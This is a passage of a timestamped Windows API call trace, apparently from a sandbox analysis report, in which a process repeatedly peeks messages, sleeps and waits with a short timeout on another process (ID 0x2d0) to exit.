hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.943] Sleep (dwMilliseconds=0x1) [0250.959] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.959] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0250.974] CloseHandle (hObject=0x2f8) returned 1 [0250.974] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0250.974] Sleep (dwMilliseconds=0x1) [0250.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0250.990] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.006] CloseHandle (hObject=0x2f8) returned 1 [0251.006] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.006] Sleep (dwMilliseconds=0x1) [0251.021] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.021] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.037] CloseHandle (hObject=0x2f8) returned 1 [0251.037] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.037] Sleep (dwMilliseconds=0x1) [0251.053] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.053] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.068] CloseHandle (hObject=0x2f8) returned 1 [0251.068] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.068] Sleep (dwMilliseconds=0x1) [0251.084] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.084] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.099] CloseHandle (hObject=0x2f8) returned 1 [0251.099] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.100] Sleep (dwMilliseconds=0x1) [0251.115] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.115] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.138] CloseHandle (hObject=0x2f8) returned 1 [0251.138] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.138] Sleep (dwMilliseconds=0x1) [0251.149] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.149] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.162] CloseHandle (hObject=0x2f8) returned 1 [0251.162] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.162] Sleep (dwMilliseconds=0x1) [0251.178] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.178] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.193] CloseHandle (hObject=0x2f8) returned 1 [0251.193] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.193] Sleep (dwMilliseconds=0x1) [0251.213] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.213] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.224] CloseHandle (hObject=0x2f8) returned 1 [0251.224] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.224] Sleep (dwMilliseconds=0x1) [0251.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.240] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.256] CloseHandle (hObject=0x2f8) returned 1 [0251.256] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.256] Sleep (dwMilliseconds=0x1) [0251.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.279] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.287] CloseHandle (hObject=0x2f8) returned 1 [0251.287] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.287] Sleep (dwMilliseconds=0x1) [0251.311] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.311] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.319] CloseHandle (hObject=0x2f8) returned 1 [0251.319] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.319] Sleep (dwMilliseconds=0x1) [0251.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.334] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.359] CloseHandle (hObject=0x2f8) returned 1 [0251.359] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.359] Sleep (dwMilliseconds=0x1) [0251.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.365] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.381] CloseHandle (hObject=0x2f8) returned 1 [0251.381] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.381] Sleep (dwMilliseconds=0x1) [0251.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.396] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.427] CloseHandle (hObject=0x2f8) returned 1 [0251.427] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.427] Sleep (dwMilliseconds=0x1) [0251.443] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.443] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.461] CloseHandle (hObject=0x2f8) returned 1 [0251.461] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.461] Sleep (dwMilliseconds=0x1) [0251.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.474] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.490] CloseHandle (hObject=0x2f8) returned 1 [0251.490] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.490] Sleep (dwMilliseconds=0x1) [0251.506] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.506] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.521] CloseHandle (hObject=0x2f8) returned 1 [0251.521] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.521] Sleep (dwMilliseconds=0x1) [0251.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.537] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.552] CloseHandle (hObject=0x2f8) returned 1 [0251.553] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.553] Sleep (dwMilliseconds=0x1) [0251.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.568] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.584] CloseHandle (hObject=0x2f8) returned 1 [0251.584] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.584] Sleep (dwMilliseconds=0x1) [0251.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.602] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.615] CloseHandle (hObject=0x2f8) returned 1 [0251.615] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.615] Sleep (dwMilliseconds=0x1) [0251.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.631] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.646] CloseHandle (hObject=0x2f8) returned 1 [0251.646] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.646] Sleep (dwMilliseconds=0x1) [0251.662] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.662] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.677] CloseHandle (hObject=0x2f8) returned 1 [0251.678] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.678] Sleep (dwMilliseconds=0x1) [0251.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.693] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.709] CloseHandle (hObject=0x2f8) returned 1 [0251.709] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.709] Sleep (dwMilliseconds=0x1) [0251.725] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.725] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.740] CloseHandle (hObject=0x2f8) returned 1 [0251.740] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.740] Sleep (dwMilliseconds=0x1) [0251.766] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.766] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.772] CloseHandle (hObject=0x2f8) returned 1 [0251.772] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.772] Sleep (dwMilliseconds=0x1) [0251.788] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.788] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.807] CloseHandle (hObject=0x2f8) returned 1 [0251.807] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.807] Sleep (dwMilliseconds=0x1) [0251.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.827] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.834] CloseHandle (hObject=0x2f8) returned 1 [0251.834] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.834] Sleep (dwMilliseconds=0x1) [0251.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.853] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.865] CloseHandle (hObject=0x2f8) returned 1 [0251.865] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.865] Sleep (dwMilliseconds=0x1) [0251.881] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.881] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.907] CloseHandle (hObject=0x2f8) returned 1 [0251.907] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.907] Sleep (dwMilliseconds=0x1) [0251.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.913] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.927] CloseHandle (hObject=0x2f8) returned 1 [0251.928] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.928] Sleep (dwMilliseconds=0x1) [0251.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.945] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.959] CloseHandle (hObject=0x2f8) returned 1 [0251.959] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.959] Sleep (dwMilliseconds=0x1) [0251.980] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0251.980] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0251.990] CloseHandle (hObject=0x2f8) returned 1 [0251.990] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0251.990] Sleep (dwMilliseconds=0x1) [0252.006] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.006] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.021] CloseHandle (hObject=0x2f8) returned 1 [0252.021] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.021] Sleep (dwMilliseconds=0x1) [0252.037] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.037] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.053] CloseHandle (hObject=0x2f8) returned 1 [0252.053] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.053] Sleep (dwMilliseconds=0x1) [0252.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.068] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.084] CloseHandle (hObject=0x2f8) returned 1 [0252.084] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.084] Sleep (dwMilliseconds=0x1) [0252.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.105] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.115] CloseHandle (hObject=0x2f8) returned 1 [0252.115] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.115] Sleep (dwMilliseconds=0x1) [0252.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.131] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.147] CloseHandle (hObject=0x2f8) returned 1 [0252.147] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.147] Sleep (dwMilliseconds=0x1) [0252.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.162] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.178] CloseHandle (hObject=0x2f8) returned 1 [0252.178] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.178] Sleep (dwMilliseconds=0x1) [0252.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.193] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.209] CloseHandle (hObject=0x2f8) returned 1 [0252.209] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.209] Sleep (dwMilliseconds=0x1) [0252.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.224] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.241] CloseHandle (hObject=0x2f8) returned 1 [0252.241] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.241] Sleep (dwMilliseconds=0x1) [0252.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.257] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.271] CloseHandle (hObject=0x2f8) returned 1 [0252.272] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.272] Sleep (dwMilliseconds=0x1) [0252.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.287] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.303] CloseHandle (hObject=0x2f8) returned 1 [0252.303] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.303] Sleep (dwMilliseconds=0x1) [0252.320] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.320] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.334] CloseHandle (hObject=0x2f8) returned 1 [0252.334] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.334] Sleep (dwMilliseconds=0x1) [0252.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.349] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.365] CloseHandle (hObject=0x2f8) returned 1 [0252.365] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.365] Sleep (dwMilliseconds=0x1) [0252.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.381] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.396] CloseHandle (hObject=0x2f8) returned 1 [0252.396] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.396] Sleep (dwMilliseconds=0x1) [0252.412] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.412] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.439] CloseHandle (hObject=0x2f8) returned 1 [0252.439] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.439] Sleep (dwMilliseconds=0x1) [0252.443] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.443] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.459] CloseHandle (hObject=0x2f8) returned 1 [0252.459] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.459] Sleep (dwMilliseconds=0x1) [0252.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.474] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.490] CloseHandle (hObject=0x2f8) returned 1 [0252.490] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.490] Sleep (dwMilliseconds=0x1) [0252.506] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.506] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.521] CloseHandle (hObject=0x2f8) returned 1 [0252.521] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.521] Sleep (dwMilliseconds=0x1) [0252.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.537] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.552] CloseHandle (hObject=0x2f8) returned 1 [0252.553] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.553] Sleep (dwMilliseconds=0x1) [0252.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.568] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.584] CloseHandle (hObject=0x2f8) returned 1 [0252.584] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.584] Sleep (dwMilliseconds=0x1) [0252.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.599] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.615] CloseHandle (hObject=0x2f8) returned 1 [0252.615] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.615] Sleep (dwMilliseconds=0x1) [0252.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.630] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.649] CloseHandle (hObject=0x2f8) returned 1 [0252.649] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.649] Sleep (dwMilliseconds=0x1) [0252.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.666] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.679] CloseHandle (hObject=0x2f8) returned 1 [0252.679] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.679] Sleep (dwMilliseconds=0x1) [0252.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.693] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.709] CloseHandle (hObject=0x2f8) returned 1 [0252.709] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.709] Sleep (dwMilliseconds=0x1) [0252.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.724] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.741] CloseHandle (hObject=0x2f8) returned 1 [0252.741] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.741] Sleep (dwMilliseconds=0x1) [0252.756] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0252.756] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0252.774] CloseHandle (hObject=0x2f8) returned 1 [0252.774] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0252.774] Sleep 